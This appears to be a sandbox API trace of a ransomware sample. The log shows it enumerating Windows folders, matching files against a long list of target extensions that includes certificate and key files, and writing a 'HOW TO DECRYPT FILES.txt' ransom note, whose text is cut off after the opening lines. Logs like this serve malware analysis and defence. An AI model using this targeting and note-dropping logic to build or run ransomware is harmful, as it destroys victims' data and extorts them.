[0108.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.txt") returned 0 [0108.575] lstrlenA (lpString="*.txt") returned 5 [0108.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.jpeg") returned 0 [0108.575] lstrlenA (lpString="*.jpeg") returned 6 [0108.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.jpg") returned 0 [0108.576] lstrlenA (lpString="*.jpg") returned 5 [0108.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.png") returned 0 [0108.576] lstrlenA (lpString="*.png") returned 5 [0108.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.php") returned 0 [0108.576] lstrlenA (lpString="*.php") returned 5 [0108.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.cs") returned 0 [0108.576] lstrlenA (lpString="*.cs") returned 4 [0108.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.cpp") returned 0 [0108.576] lstrlenA (lpString="*.cpp") returned 5 [0108.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.rar") returned 0 [0108.576] lstrlenA (lpString="*.rar") returned 5 [0108.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.zip") returned 0 [0108.576] lstrlenA (lpString="*.zip") returned 5 [0108.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.html") returned 0 [0108.576] lstrlenA (lpString="*.html") returned 6 [0108.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.htm") returned 0 [0108.576] lstrlenA (lpString="*.htm") returned 5 [0108.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.xlsx") returned 0 [0108.576] lstrlenA (lpString="*.xlsx") returned 6 [0108.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.xls") returned 0 [0108.577] lstrlenA (lpString="*.xls") returned 5 [0108.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.mp4") returned 0 [0108.577] lstrlenA (lpString="*.mp4") returned 5 [0108.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.ppt") returned 0 [0108.577] lstrlenA (lpString="*.ppt") returned 5 [0108.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.pptx") returned 0 [0108.577] lstrlenA (lpString="*.pptx") returned 6 [0108.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.doc") returned 0 [0108.577] lstrlenA (lpString="*.doc") returned 5 [0108.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.dot") returned 0 [0108.577] lstrlenA (lpString="*.dot") returned 5 [0108.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.docx") returned 0 [0108.577] lstrlenA (lpString="*.docx") returned 6 [0108.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.7z") returned 0 [0108.577] lstrlenA (lpString="*.7z") returned 4 [0108.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.tar") returned 0 [0108.577] lstrlenA (lpString="*.tar") returned 5 [0108.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.bz2") returned 0 [0108.578] lstrlenA (lpString="*.bz2") returned 5 [0108.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.gz") returned 0 [0108.578] lstrlenA (lpString="*.gz") returned 4 [0108.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.mkv") returned 0 [0108.578] lstrlenA (lpString="*.mkv") returned 5 [0108.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.eml") returned 0 [0108.578] lstrlenA (lpString="*.eml") returned 5 [0108.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.msg") returned 0 [0108.578] lstrlenA (lpString="*.msg") returned 5 [0108.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.edb") returned 0 [0108.578] lstrlenA (lpString="*.edb") returned 5 [0108.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.accdb") returned 0 [0108.578] lstrlenA (lpString="*.accdb") returned 7 [0108.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.odb") returned 0 [0108.578] lstrlenA (lpString="*.odb") returned 5 [0108.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.java") returned 0 [0108.578] lstrlenA (lpString="*.java") returned 6 [0108.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.asm") returned 0 [0108.578] lstrlenA (lpString="*.asm") returned 5 [0108.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.pfx") returned 0 [0108.579] lstrlenA (lpString="*.pfx") returned 5 [0108.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.pem") returned 0 [0108.579] lstrlenA (lpString="*.pem") returned 5 [0108.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.p12") returned 0 [0108.579] lstrlenA (lpString="*.p12") returned 5 [0108.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.gpg") returned 0 [0108.579] lstrlenA (lpString="*.gpg") returned 5 [0108.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.vsd") returned 0 [0108.579] lstrlenA (lpString="*.vsd") returned 5 [0108.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.odg") returned 0 [0108.579] lstrlenA (lpString="*.odg") returned 5 [0108.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.raw") returned 0 [0108.579] lstrlenA (lpString="*.raw") returned 5 [0108.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.nef") returned 0 [0108.579] lstrlenA (lpString="*.nef") returned 5 [0108.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.svg") returned 0 [0108.579] lstrlenA (lpString="*.svg") returned 5 [0108.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.psd") returned 0 [0108.580] lstrlenA (lpString="*.psd") returned 5 [0108.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.vmx") returned 0 [0108.580] lstrlenA (lpString="*.vmx") returned 5 [0108.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.vmdk") returned 0 [0108.580] lstrlenA (lpString="*.vmdk") returned 6 [0108.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.vdi") returned 0 [0108.580] lstrlenA (lpString="*.vdi") returned 5 [0108.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.lay6") returned 0 [0108.580] lstrlenA (lpString="*.lay6") returned 6 [0108.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.mpeg") returned 0 [0108.580] lstrlenA (lpString="*.mpeg") returned 6 [0108.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.djvu") returned 0 [0108.580] lstrlenA (lpString="*.djvu") returned 6 [0108.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.tiff") returned 0 [0108.580] lstrlenA (lpString="*.tiff") returned 6 [0108.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.backup") returned 0 [0108.580] lstrlenA (lpString="*.backup") returned 8 [0108.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.pdf") returned 0 [0108.581] lstrlenA (lpString="*.pdf") returned 5 [0108.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.cert") returned 0 [0108.581] lstrlenA (lpString="*.cert") returned 6 [0108.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.docm") returned 0 [0108.581] lstrlenA (lpString="*.docm") returned 6 [0108.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.xlsm") returned 0 [0108.581] lstrlenA (lpString="*.xlsm") returned 6 [0108.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.dwg") returned 0 [0108.581] lstrlenA (lpString="*.dwg") returned 5 [0108.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.nd") returned 0 [0108.581] lstrlenA (lpString="*.nd") returned 4 [0108.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.tlg") returned 0 [0108.581] lstrlenA (lpString="*.tlg") returned 5 [0108.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.lgb") returned 0 [0108.581] lstrlenA (lpString="*.lgb") returned 5 [0108.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.mov") returned 0 [0108.582] lstrlenA (lpString="*.mov") returned 5 [0108.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.xdw") returned 0 [0108.582] lstrlenA (lpString="*.xdw") returned 5 [0108.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.ods") returned 0 [0108.582] lstrlenA (lpString="*.ods") returned 5 [0108.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.wav") returned 0 [0108.582] lstrlenA (lpString="*.wav") returned 5 [0108.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.mp3") returned 0 [0108.582] lstrlenA (lpString="*.mp3") returned 5 [0108.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.aiff") returned 0 [0108.582] lstrlenA (lpString="*.aiff") returned 6 [0108.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.flac") returned 0 [0108.582] lstrlenA (lpString="*.flac") returned 6 [0108.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.m4a") returned 0 [0108.582] lstrlenA (lpString="*.m4a") returned 5 [0108.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.csv") returned 0 [0108.583] lstrlenA (lpString="*.csv") returned 5 [0108.583] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5587190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5587190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb55ad2f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a6e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.583] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.583] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb60fbb70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb60fbb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb60fbb70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="91b19abf670635ea9462959c26e4f3bf", cAlternateFileName="91B19A~1")) returned 1 [0108.583] lstrcmpA (lpString1=".", lpString2="91b19abf670635ea9462959c26e4f3bf") returned -1 [0108.583] lstrcmpA (lpString1="..", lpString2="91b19abf670635ea9462959c26e4f3bf") returned -1 [0108.583] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\*.*") returned="*.*" [0108.583] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\", lpString2="91b19abf670635ea9462959c26e4f3bf" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf" [0108.583] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf") returned 100 [0108.583] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb60fbb70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb60fbb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb60fbb70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.595] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.595] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb60fbb70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb60fbb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb60fbb70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.595] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.598] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.598] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb60d5a10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb60d5a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb60d5a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Permission.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.598] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.598] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.InfoPath.Permission.ni.dll") returned -1 [0108.598] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.InfoPath.Permission.ni.dll") returned -1 [0108.598] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.InfoPath.Permission.ni.dll") returned -1 [0108.598] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\*.*") returned="*.*" [0108.598] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\" [0108.598] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\") returned="" [0108.598] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\HOW TO DECRYPT FILES.txt" [0108.598] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\91b19abf670635ea9462959c26e4f3bf\\how to decrypt files.txt")) returned 0xffffffff [0108.599] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\91b19abf670635ea9462959c26e4f3bf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.604] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something 